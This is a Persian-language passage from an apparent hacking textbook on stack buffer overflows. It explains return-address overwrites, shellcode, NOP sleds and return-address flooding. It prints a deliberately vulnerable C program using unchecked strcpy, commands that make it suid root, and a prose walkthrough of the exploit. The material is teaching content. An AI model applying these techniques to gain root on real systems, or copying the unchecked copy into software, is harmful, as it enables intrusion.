‫‪ ،(user name‬ﻣﻤﮑﻦ اﺳﺖ ﺳﺒﺐ ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ای ﺷﻮد ﮐﻪ ﭼﻨﺪﯾﻦ ﺳﺎل ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﺮده اﺳﺖ‪.‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ ﯾﮏ ﻫﮑﺮ ﺑﺎﻫﻮش ﺑﺎ وارد ﮐﺮدن ﻣﻘﺎدﯾﺮ ﻏﯿﺮﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨﯽ )ﮐﻪ ﻣـﺴﺒﺐ ﺳـﺮرﯾﺰ ﺑـﺎﻓﺮ ﻫـﺴﺘﻨﺪ( ﻣﯿﺘﻮاﻧـﺪ ﺳـﺒﺐ‬
‫ﮐﺮش ﮐﺮدن ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺷﻮد‪ .‬اﻣﺎ ﭼﮕﻮﻧﻪ ﻣﯽ ﺗﻮان از اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﺮای ﮐﻨﺘﺮل ﺑﺮﻧﺎﻣﻪ اﺳـﺘﻔﺎده ﮐـﺮد؟ ﺟـﻮاب در ﺑﺮرﺳـﯽ‬
‫داده ﻫﺎی ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه ﯾﺎﻓﺖ ﻣﯽ ﺷﻮد!‬

‫‪ .2,7‬ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ‬

‫ﺑﺎ ﻣﺮاﺟﻌﻪ ﺑﻪ ﺑﺮﻧﺎﻣﻪ ﺳﺮرﯾﺰ ﺷﻮﻧﺪه ﻗﺒﻠﯽ )‪ ،(overflow.c‬در زﻣﺎن ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )(‪ ،overflow_function‬ﯾـﮏ ﻗـﺎب‬
‫ﭘﺸﺘﻪ روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺗﺎﺑﻊ در اﺑﺘﺪا ﻓﺮاﺧﻮاﻧﯽ ﺷﻮد‪ ،‬ﻗﺎب ﭘﺸﺘﻪ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ ﺗﺼﻮﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد‪:‬‬

‫اﻣﺎ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺗﺎﺑﻊ ﺳﻌﯽ ﺑﺮ ﻧﻮﺷﺘﻦ ‪ 128‬ﺑﺎﯾﺖ داده در ﯾﮏ ﺑﺎﻓﺮ ‪ 20‬ﺑﺎﯾﺘﯽ ﻣﯽ ﮐﻨﺪ‪ 108 ،‬ﺑﺎﯾﺖ اﺿﺎﻓﯽ ﺳـﺮرﯾﺰ ﮐـﺮده و‬
‫اﺷﺎرﮔﺮ ﻗﺎب ﭘﺸﺘﻪ‪ ،‬آدرس ﺑﺮﮔﺸﺖ و اﺷﺎرﮔﺮ ‪) str‬آرﮔﻮﻣﺎن ﺗﺎﺑﻊ( را ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮐﻨﺪ‪ .‬ﺳﭙﺲ ﺑﻪ ﻣﺤﺾ ﭘﺎﯾـﺎن ﯾـﺎﻓﺘﻦ‬
‫ﺗﺎﺑﻊ‪ ،‬ﺑﺮﻧﺎﻣﻪ ﺳﻌﯽ در ﭘﺮﯾﺪن ﺑﻪ آدرس ﺑﺮﮔﺸﺖ ﮐﻪ اﮐﻨﻮن ﺑﺎ ﮐﺎراﮐﺘﺮﻫﺎی ‪) A‬ﺑﺎ ﻣﻌـﺎدل ﻫﮕﺰادﺳـﯿﻤﺎل ‪ (0x41‬ﭘـﺮ ﺷـﺪه‬
‫اﺳﺖ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﺮﻧﺎﻣﻪ ﺳﻌﯽ در ﺑﺎزﮔﺸﺖ ﺑﻪ اﯾﻦ آدرس ﻣﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا ﻣﻘﺪار ‪ EIP‬ﺑﺮاﺑﺮ ﺑﺎ ‪ 0x41414141‬ﻣـﯽ ﺷـﻮد‪ .‬اﯾـﻦ‬
‫ﻣﻘﺪار اﺻﻮﻻ ﯾﮏ آدرس ﺗﺼﺎدﻓﯽ اﺳﺖ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﯾﮏ ﻓﻀﺎی ﺣﺎﻓﻈﻪ ای اﺷﺘﺒﺎه ﺑﺎﺷﺪ ﯾﺎ ﺣﺎوی دﺳﺘﻮرات ﻏﯿﺮﻣﻌﺘﺒـﺮ‬
‫ﺑﺎﺷﺪ ﮐﻪ ﻧﻬﺎﯾﺘﺎ ﺳﺒﺐ ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﮔﺮدد‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ را ﺑﻪ دﻟﯿﻞ رﺧﺪاد ﺳـﺮرﯾﺰ در ﻗﻄﻌـﻪ ﺣﺎﻓﻈـﻪ ایِ ﭘـﺸﺘﻪ‪،‬‬
‫اﺻﻄﻼﺣﺎ ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ )‪ (stack-based overflow‬ﻣﯽ ﻧﺎﻣﻨﺪ‪.‬‬

‫‪25‬‬
‫ﻣﻤﮑﻦ اﺳﺖ در دﯾﮕﺮ ﻗﻄﻌﺎت ﺣﺎﻓﻈﻪ از ﻗﺒﯿﻞ ‪ heap‬و ‪ BSS‬ﻧﯿﺰ ﺳـﺮرﯾﺰ رخ دﻫـﺪ‪ .‬اﻣـﺎ ﺟﺎﯾﻨﻮﯾـﺴﯽ آدرس ﺑﺮﮔـﺸﺖ در‬
‫ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ ﻣﺴﺌﻠﻪ ای اﺳﺖ ﮐﻪ آﻧﺮا ﺳﻠﯿﺲ و ﺟﺎﻟﺐ ﻣﯽ ﺳﺎزد و ﺗﻨﻬﺎ دﻟﯿﻞ اﺻﻠﯽ ﮐﺮش ﮐﺮدن ﯾﮏ ﺑﺮﻧﺎﻣﻪ‬
‫در اﯾﻦ ﻧﻮع ﺣﻤﻠﻪ اﺳﺖ‪ .‬اﮔﺮ آدرس ﺑﺮﮔﺸﺖ ﺑﻪ آدرﺳﯽ ﻏﯿﺮ از ‪ 0x41414141‬ﺟﺎﯾﻨﻮﯾﺴﯽ و ﮐﻨﺘـﺮل ﻣـﯽ ﺷـﺪ )ﻣـﺜﻼ ﺑـﻪ‬
‫آدرس ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ اﺟﺮاﯾﯽ ﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﻓﺖ(‪ ،‬آﻧﮕﺎه ﺑﺠﺎی ﮐﺮش ﺷﺪن‪ ،‬ﺑﺮﻧﺎﻣﻪ ﭘﺲ از ﭘﺎﯾﺎن اﺟﺮا "ﺑـﺮ ﻣـﯽ ﮔـﺮدد" و‬
‫آن ﮐﺪ را اﺟﺮا ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ داده ای ﮐﻪ در آدرس ﺑﺮﮔﺸﺖ ﺳﺮرﯾﺰ ﻣﯽ ﺷﻮد ﻣﺒﺘﻨﯽ ﺑﺮ ورودی ﮐﺎرﺑﺮ ﺑﺎﺷﺪ )ﻣـﺜﻼ ﻣﻘـﺪار‬
‫وارد ﺷﺪه در ﯾﮏ ﻓﯿﻠﺪ ‪ ،(username‬در آن ﺻﻮرت ﮐﺎرﺑﺮ ﻗﺎدر ﺑﻪ ﮐﻨﺘﺮل آدرس ﺑﺮﮔﺸﺖ و ﻣﺘﻌﺎﻗﺐ آن‪ ،‬روﻧﺪ اﺟﺮاﯾـﯽ‬
‫ﺑﺮﻧﺎﻣﻪ ﺧﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﭼﻮن ﺑﻮاﺳﻄﻪ ﺳﺮرﯾﺰ ﮐﺮدن ﺑﺎﻓﺮﻫﺎ دﺳﺘﮑﺎری آدرس ﺑﺮﮔﺸﺖ ﺟﻬﺖ ﺗﻐﯿﯿﺮ روﻧﺪ اﺟﺮاﯾﯽ اﻣﮑﺎن ﭘﺬﯾﺮ ﻣﯿـﺸﻮد‪ ،‬ﻟـﺬا ﻓﻘـﻂ‬
‫ﺑﺎﯾﺪ ﯾﮏ ﭼﯿﺰ ﻣﻔﯿﺪ را اﺟﺮا ﮐﻨﯿﻢ‪ .‬اﯾﻨﺠﺎﺳﺖ ﮐﻪ ﺗﺰرﯾﻖ ﺑﺎﯾﺖ‪-‬ﮐﺪ )‪ (bytecode injection‬ﺑﻪ ﺻﺤﻨﻪ وارد ﻣﯽ ﺷﻮد‪ .‬ﺑﺎﯾﺖ‬
‫ﮐﺪ‪ ،‬ﺗﻨﻬﺎ ﯾﮏ ﻗﻄﻌﻪ ﮐﺪ اﺳﻤﺒﻠﯽ ﺑﺎ ﻃﺮاﺣﯽ ﻫﻮﺷﯿﺎراﻧﻪ و ﺧـﻮد‪-‬ﻣﺤﺘـﻮا )‪ (self-contained‬اﺳـﺖ ﮐـﻪ ﻣـﯽ ﺗـﻮان آﻧـﺮا در‬
‫ﺑﺎﻓﺮﻫﺎ ﺗﺰرﯾﻖ ﮐﺮد‪ .‬ﭼﻨﺪ ﻣﺤﺪودﯾﺖ در ﺑﺎﯾﺖ ﮐﺪ وﺟﻮد دارد‪ :‬ﻧﺨﺴﺖ اﯾﻨﮑﻪ ﺑﺎﯾﺪ ﺧﻮد‪-‬ﻣﺤﺘﻮا ﺑﺎﺷـﺪ و دوم اﯾﻨﮑـﻪ ﺑﺎﯾـﺪ از‬
‫وﺟﻮد ﮐﺎراﮐﺘﺮﻫﺎی ﺧﺎﺻﯽ در آن ﭘﺮﻫﯿﺰ ﮐﺮد‪ ،‬ﭼﺮا ﮐﻪ اﯾﻦ دﺳﺘﻮرات ﺑﻪ ﻋﻨﻮان داده در ﺑﺎﻓﺮﻫﺎ ﻓﺮض ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
‫راﯾﺞ ﺗﺮﯾﻦ ﮔﻮﻧﻪ ﺑﺎﯾﺖ ﮐﺪ ﺗﺤﺖ ﻧﺎم ﺷﻞ‪-‬ﮐﺪ )‪ (shellcode‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد‪ .‬ﺷﻞ‪-‬ﮐﺪ ﻧﻮﻋﯽ ﺑﺎﯾـﺖ‪-‬ﮐـﺪ اﺳـﺖ ﮐـﻪ ﯾـﮏ‬
‫ﭘﻮﺳﺘﻪ )‪ (shell‬را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ‪ suid root‬در اﺟـﺮای ﺷـﻞ‪-‬ﮐـﺪ ﻓﺮﯾـﺐ ﺑﺒﯿﻨـﺪ‪ ،‬ﻧﻔـﻮذﮔﺮ ﯾـﮏ ﭘﻮﺳـﺘﻪ‬
‫ﮐﺎرﺑﺮی ﺑﺎ ﺳﻄﺢ اﺧﺘﯿﺎر رﯾﺸﻪ ﺧﻮاﻫﺪ داﺷﺖ‪ .‬در ﺻﻮرﺗﯽ ﮐﻪ ﺳﯿﺴﺘﻢ ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ‪ suid root‬ﮐﺎری را اﻧﺠـﺎم‬
‫ﻣﯽ دﻫﺪ ﮐﻪ ﺑﻮده اﺳﺖ‪ .‬ﻣﺜﺎﻟﯽ را در زﯾﺮ ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪vuln.c code‬‬
‫)][‪int main(int argc, char *argv‬‬
‫{‬
‫;]‪char buffer[500‬‬
‫;)]‪strcpy(buffer, argv[1‬‬
‫;‪return 0‬‬
‫}‬
‫اﯾﻦ ﮐﺪ ﻗﻄﻌﻪ ای از ﯾﮏ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و ﺷﺒﯿﻪ ﺑﻪ ﺗﺎﺑﻊ )(‪ overflow_function‬ﮐﻪ در ﻗﺒﻞ ﻣﻄﺮح ﺷﺪ اﺳـﺖ‪ ،‬ﭼـﺮا‬
‫ﮐﻪ ﯾﮏ آرﮔﻮﻣﺎن واﺣﺪ را درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﺪ‪ ،‬ﺳﭙﺲ آرﮔﻮﻣﺎن ﻣﺤﺘﻮای ﻫﺮ ﭼﻪ ﮐﻪ ﺑﺎﺷﺪ )ﺑـﺎ ﻫـﺮ اﻧـﺪازه ای( در ﯾـﮏ ﺑـﺎﻓﺮ‬
‫‪ 500‬ﺑﺎﯾﺘﯽ ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬ﻧﺘﯿﺠﻪ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ زﯾﺮ را ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪$ gcc -o vuln vuln.c‬‬
‫‪$ ./vuln test‬‬
‫ﺑﺮﻧﺎﻣﻪ ﻋﻤﻼ ﮐﺎری ﻏﯿﺮ از اداره ﻧﺎﺻﺤﯿﺢ ﺣﺎﻓﻈﻪ اﻧﺠﺎم ﻧﻤﯽ دﻫﺪ‪ .‬اﮐﻨﻮن ﺑﺮای آﺳﯿﺐ ﭘﺬﯾﺮ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﺪ ﻣﺎﻟﯿـﺖ آﻧـﺮا‬
‫ﺑﻪ ﮐﺎرﺑﺮ رﯾﺸﻪ ﺗﻐﯿﯿﺮ داده و ﺑﯿﺖِ ﻣﺠﻮز ‪ suid‬را ﺑﺮای ﺑﺎﯾﻨﺮی ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه ﻓﻌﺎل ﮐﻨﯿﻢ‪:‬‬
‫‪$ sudo chown root vuln‬‬
‫‪$ sudo chmod +s vuln‬‬
‫‪$ ls -l vuln‬‬
‫‪-rwsr-sr-x‬‬ ‫‪1 root‬‬ ‫‪users‬‬ ‫‪4933 Sep 5 15:22 vuln‬‬
‫اﮐﻨﻮن ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻣﺎ ﯾﮏ ‪ suid root‬اﺳﺖ و در ﻣﻘﺎﺑﻞ ﺳﺮرﯾﺰ ﺑﺎﻓﺮ آﺳﯿﺐ ﭘﺬﯾﺮ ﻣﯽ ﺑﺎﺷـﺪ‪ ،‬ﻟـﺬا ﻓﻘـﻂ ﺑـﻪ ﺗﮑـﻪ ﮐـﺪی ﻧﯿـﺎز‬
‫دارﯾﻢ ﮐﻪ ﺑﺎﻓﺮی را ﺗﻮﻟﯿﺪ ﮐﻨﺪ ﮐﻪ ﺑﺘﻮان ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ داد‪ .‬اﯾﻦ ﺑـﺎﻓﺮ ﺑﺎﯾـﺪ ﺣـﺎوی ﺷـﻞ‪-‬ﮐـﺪ ﻣـﻮرد ﻧﻈـﺮ ﺑﺎﺷـﺪ و‬
‫ﺑﺎﯾﺴﺘﯽ آدرس ﺑﺮﮔﺸﺖ را در ﭘﺸﺘﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﺪ ﺑﻄﻮرﯾﮑﻪ ﺷﻞ‪-‬ﮐﺪ اﺟﺮا ﮔﺮدد‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت آدرس واﻗﻌـﯽ ﺷـﻞ‪-‬‬
‫ﮐﺪ ﺑﺎﯾﺪ ﺑﺮای ﻧﻔﻮذﮔﺮ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ ﮐﻪ ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ ﺗﻐﯿﯿﺮ ﭘﻮﯾﺎی داﺋﻤﯽ ﭘﺸﺘﻪ ﮐﺎر دﺷـﻮاری اﺳـﺖ‪ .‬ذﮐـﺮ اﯾـﻦ‬
‫ﻧﮑﺘﻪ ﻧﯿﺰ ﺑﻪ دﺷﻮاری وﺿﻌﯿﺖ اﺿﺎﻓﻪ ﻣﯽ ﮐﻨﺪ ﮐﻪ ﺑﺎﯾﺪ ﭼﻬﺎر ﺑﺎﯾﺘﯽ ﮐﻪ آدرس ﺑﺮﮔﺸﺖ در آﻧﺠﺎ در ﻗﺎب ﭘﺸﺘﻪ ذﺧﯿﺮه ﺷﺪه‬
‫اﺳﺖ ﻧﯿﺰ ﺑﺎ اﯾﻦ ﻣﻘﺪار ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد‪ .‬ﺣﺘﯽ اﮔﺮ آدرس دﻗﯿﻖ ﻧﯿﺰ ﺷﻨﺎﺧﺘﻪ ﺷـﺪه ﺑﺎﺷـﺪ اﻣـﺎ ﻣﮑـﺎن ﺻـﺤﯿﺤﯽ ﺟﺎﯾﻨﻮﯾـﺴﯽ‬
‫ﻧﮕﺮدد‪ ،‬ﺑﺮﻧﺎﻣﻪ ﮐﺮش ﺧﻮاﻫﺪ ﮐﺮد‪ .‬دو ﺗﮑﻨﯿﮏ ﻣﻌﻤﻮﻻ در ﭼﻨﯿﻦ ﻣﻮاردی ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮﻧﺪ‪.‬‬

‫‪26‬‬
‫اوﻟﯿﻦ ﺗﮑﻨﯿﮏ ﺗﺤﺖ ﻋﻨﻮان ﺳﻮرﺗﻤﻪ ‪ 31NOP‬ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷـﻮد‪ .‬دﺳـﺘﻮر ‪ NOP‬ﮐـﻪ ﻣﺨﻔـﻒ ﻋﺒـﺎرت ‪NO Operation‬‬
‫اﺳﺖ‪ ،‬ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺎم آن ﻧﯿﺰ ﮔﻮﯾﺎﺳﺖ‪ ،‬ﻋﻤﻼ ﮐﺎری اﻧﺠﺎم ﻧﻤﯽ دﻫﺪ )ﺗﻨﻬﺎ اﺷﺎرﮔﺮ دﺳﺘﻮر را ﯾﮏ ﺧﺎﻧﻪ در ﺣﺎﻓﻈﻪ ﺑﻪ ﺟﻠﻮ‬
‫ﻣﯽ رود(‪ .‬اﯾﻦ دﺳﺘﻮر ﮔﺎﻫﯽ ﻣﻮاﻗﻊ در راﺳﺘﺎی ﻣﻘﺎﺻﺪ زﻣﺎن ﺑﻨﺪی ﺑﺮای ﺗﻀﯿﯿﻊ ﭼﺮﺧﻪ ﻫﺎی ﻣﺤﺎﺳﺒﺎﺗﯽ اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮد‬
‫ﮐﻪ در ﭘﺮدازﻧﺪه ﻫﺎی ‪ Sparc‬ﺑﺮای ﻟﻮﻟﻪ ﺑﻨﺪی دﺳﺘﻮر )‪ (instruction pipelining‬ﺿﺮوری ﻫﺴﺘﻨﺪ‪ .‬اﻣﺎ در ﮐـﺎر ﻣـﺎ در‬
‫اﯾﻦ ﻣﻮرد‪ ،‬اﯾﻦ دﺳﺘﻮرات ‪ NOP‬ﺑﺮای ﻫﺪف دﯾﮕﺮی اﺳﺘﻔﺎده ﻣﯽ ﺷـﻮﻧﺪ‪ .‬ﺑـﺎ اﯾﺠـﺎد ﯾـﮏ آراﯾـﻪ ﺑـﺰرگ )ﯾـﺎ ﺳـﻮرﺗﻤﻪ( از‬
‫دﺳﺘﻮرات ‪ NOP‬و ﻗﺮار دادن آﻧﻬﺎ ﻗﺒﻞ از ﺷﻞ‪-‬ﮐﺪ‪ ،‬اﮔﺮ ‪ EIP‬ﺑﻪ ﻫﺮ آدرﺳﯽ در ﺳﻮرﺗﻤﻪ ‪ NOP‬رﺟﻮع ﮐﻨﺪ‪ ،‬ﺑﺎ اﺟﺮای ﻫﺮ‬
‫دﺳﺘﻮر ‪ NOP‬در واﺣﺪ زﻣﺎن‪ ،‬ﺑﻪ ﻣﻘﺪار ‪ EIP‬اﺿﺎﻓﻪ ﻣﯽ ﺷﻮد ﺗﺎ اﯾﻨﮑﻪ اﺟﺮای دﺳﺘﻮرات ﺑﻪ ﺷﻞ‪-‬ﮐﺪ ﺑﺮﺳﺪ‪ .‬ﯾﻌﻨـﯽ ﻣـﺎداﻣﯽ‬
‫ﮐﻪ آدرس ﺑﺮﮔﺸﺖ ﺑﺎ ﻫﺮ ﯾﮏ از آدرﺳﻬﺎی ﺳﻮرﺗﻤﻪ ‪ NOP‬ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد‪ ،‬اﯾﻦ ﺳـﻮرﺗﻤﻪ ﻣﻘـﺪار ‪ EIP‬را ﺑـﻪ ﺷـﻞ‪-‬ﮐـﺪ‬
‫ﻟﻐﺰش ﻣﯽ دﻫﺪ‪ 32‬و ﻧﻬﺎﯾﺘﺎ ﺑﺎ رﺳﯿﺪن ﺑﻪ ﺷﻞ‪-‬ﮐﺪ ﺑﻪ درﺳﺘﯽ اﺟﺮا ﻣﯽ ﮔﺮدد‪.‬‬
‫ﺗﮑﻨﯿﮏ دوم‪ ،‬ﻏﺮﻗﻪ ﺳﺎزی )‪ (flooding‬اﻧﺘﻬﺎی ﺑﺎﻓﺮ ﺑﺎ ﺗﻌﺪاد زﯾﺎدی از ﻧﻤﻮﻧـﻪ ﻫـﺎی ﻣﺘـﻮاﻟﯽ از آدرس ﺑﺮﮔـﺸﺖ ﻣﻄﻠـﻮب‬
‫اﺳﺖ‪ .‬در اﯾﻦ ﺷﺮاﯾﻂ اﮔﺮ ﯾﮑﯽ از اﯾﻦ آدرس ﻫﺎی ﺑﺮﮔﺸﺖ‪ ،‬آدرس ﺑﺮﮔﺸﺖ واﻗﻌﯽ را ﺟﺎﯾﻨﻮﯾـﺴﯽ ﮐﻨـﺪ‪ ،‬اﮐـﺴﭙﻠﻮﯾﺖ ﺑـﻪ‬
‫ﻃﺮز ﻣﻄﻠﻮب ﻣﺎ ﮐﺎر ﺧﻮاﻫﺪ ﮐﺮد‪ .‬در زﯾﺮ ﻧﻤﺎﯾﺸﯽ از ﯾﮏ ﺑﺎﻓﺮ ﺷﻨﺎور )‪ 33(crafted‬را ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬

‫ﺣﺘﯽ ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ دو ﺗﮑﻨﯿﮏ ﻧﯿﺰ داﻧﺴﺘﻦ ﻣﮑﺎن ﺗﻘﺮﯾﺒﯽ ﺑﺎﻓﺮ در ﺣﺎﻓﻈﻪ ﺟﻬﺖ ﺣـﺪس آدرس ﺑﺮﮔـﺸﺖ ﺻـﺤﯿﺢ ﻻزم‬
‫اﺳﺖ‪ .‬ﯾﮏ ﺗﮑﻨﯿﮏ ﺑﺮای ﺗﻘﺮﯾﺐ زدن ﻣﮑﺎن ﺣﺎﻓﻈﻪ ای اﺳﺘﻔﺎده از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠﯽ ﺑـﻪ ﻋﻨـﻮان ﯾـﮏ راﻫﻨﻤـﺎ اﺳـﺖ‪ .‬ﺑـﺎ‬
‫ﮐﺎﺳﺘﻦ ﯾﮏ آﻓﺴﺖ از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻣﯽ ﺗﻮان آدرس ﻧﺴﺒﯽ ﻫﺮ ﻣﺘﻐﯿﺮ را ﺑﺪﺳﺖ آورد‪ .‬ﭼﻮن در اﯾﻦ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘـﺬﯾﺮ‬
‫اوﻟﯿﻦ ﻋﻨﺼﺮ روی ﭘﺸﺘﻪ ﺑﺎﻓﺮی اﺳﺖ ﮐﻪ ﺷﻞ‪-‬ﮐﺪ در آن ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ ،‬ﻟﺬا آدرس ﺑﺮﮔـﺸﺖ ﻣﻨﺎﺳـﺐ ﺑﺮاﺑـﺮ ﺑـﺎ اﺷـﺎرﮔﺮ‬
‫ﭘﺸﺘﻪ ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﯾﻌﻨﯽ ﻣﻘﺪار آﻓﺴﺖ در اﯾﻦ ﻣﻮرد ﻧﺰدﯾﮏ ﺑﻪ ﻋﺪد ﺻﻔﺮ اﺳﺖ‪ .‬ﺑﻪ ﻫﻨﮕﺎم اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣـﻪ ﻫـﺎی‬
‫ﭘﯿﭽﯿﺪه ﺗﺮ ﮐﻪ اﯾﻦ آﻓﺴﺖ در آﻧﻬﺎ ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﻧﯿﺴﺖ‪ ،‬اﺳﺘﻔﺎده از ﺳﻮرﺗﻤﻪ ‪ NOP‬ﺑﻪ ﻃﻮر ﻣﻮﺛﺮی ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد‪.‬‬
‫در زﯾﺮ ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻣﺮﺑﻮﻃﻪ را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ ﮐﻪ ﺟﻬﺖ اﯾﺠﺎد ﯾﮏ ﺑﺎﻓﺮ و دادن آن ﺑﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘـﺬﯾﺮ ﻃﺮاﺣـﯽ‬
‫ﮔﺸﺘﻪ اﺳﺖ‪ .‬ﺑﺎ اﯾﻦ ﮐﺎر در زﻣﺎن ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺗﻮان ﺷﻞ‪-‬ﮐﺪ ﺗﺰرﯾﻖ ﺷﺪه را اﺟﺮا ﮐﺮد و ﻣﺎﻧﻊ از ﮐﺮش ﮐـﺮدن‬
‫ﺑﺮﻧﺎﻣﻪ ﺷﺪ‪ .‬ﮐﺪ اﮐﺴﭙﻠﻮﯾﺖ ﻧﺨﺴﺖ اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﻓﻌﻠﯽ را ﮔﺮﻓﺘﻪ و ﯾﮏ آﻓﺴﺖ را از آن ﮐﻢ ﻣﯽ ﮐﻨﺪ‪ .‬در اﯾﻦ ﻣﻮرد آﻓﺴﺖ‬
‫ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ اﺳﺖ‪ .‬ﺳﭙﺲ ﺑﺮای ﺑﺎﻓﺮ ﺣﺎﻓﻈﻪ ای )روی ‪ (heap‬ﺗﺨﺼﯿﺺ ﻣﯽ ﯾﺎﺑﺪ و ﮐﻞ ﺑـﺎﻓﺮ ﺑـﺎ آدرس ﺑﺮﮔـﺸﺖ ﭘـﺮ ﻣـﯽ‬
‫ﺷﻮد‪ .‬در ﻗﺪم ﺑﻌﺪی ﺟﻬﺖ اﯾﺠﺎد ﺳﻮرﺗﻤﻪ ‪ 200 ،NOP‬ﺑﺎﯾﺖ ﻧﺨﺴﺖ از ﺑﺎﻓﺮ ﺑﺎ ﻣﻘـﺎدﯾﺮ ‪ NOP‬ﭘـﺮ ﺷـﺪه )دﺳـﺘﻮر ‪NOP‬‬
‫ﺑﺮای ﭘﺮدازﻧﺪه ‪ x86‬ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﻣﻌﺎدل ﺑﺎ ‪ 0x90‬اﺳﺖ( و ﺷﻞ‪-‬ﮐﺪ ﻧﯿﺰ ﺑﻌﺪ از ﺳﻮرﺗﻤﻪ ‪ NOP‬ﻗﺮار ﻣﯽ ﮔﯿﺮد و ﺑﺎﯾـﺖ‬
‫ﻫﺎی ﺑﺎﻗﯿﻤﺎﻧﺪه در اﻧﺘﻬﺎی ﺑﺎﻓﺮ ﮐﻪ از ﻗﺒﻞ ﺑﺎ آدرس ﺑﺮﮔﺸﺖ ﭘﺮ ﺷﺪه ﺑﻮدﻧﺪ ﻧﯿﺰ ﺑﻪ ﻫﻤﺎن ﺻـﻮرت ﺑـﺎﻗﯽ ﻣـﯽ ﻣﺎﻧﻨـﺪ‪ .‬ﭼـﻮن‬
‫اﻧﺘﻬﺎی ﯾﮏ ﺑﺎﻓﺮ ﮐﺎراﮐﺘﺮی ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﯾﺎ ‪ 0‬ﺗﻌﯿﯿﻦ ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا ﺑﺎﻓﺮ ﺑﺎ ﻣﻘﺪار ‪ 0‬ﺧﺎﺗﻤﻪ ﻣﯽ ﯾﺎﺑﺪ‪ .‬در ﻧﻬﺎﯾﺖ ﺗـﺎﺑﻊ دﯾﮕـﺮی‬
‫ﺑﻪ ﻣﻨﻈﻮر اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و دادن اﯾﻦ ﺑﺎﻓﺮ ﺷﻨﺎور ﺷﺪه ﻣﺨﺼﻮص ﺑﻪ آن اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدد‪.‬‬

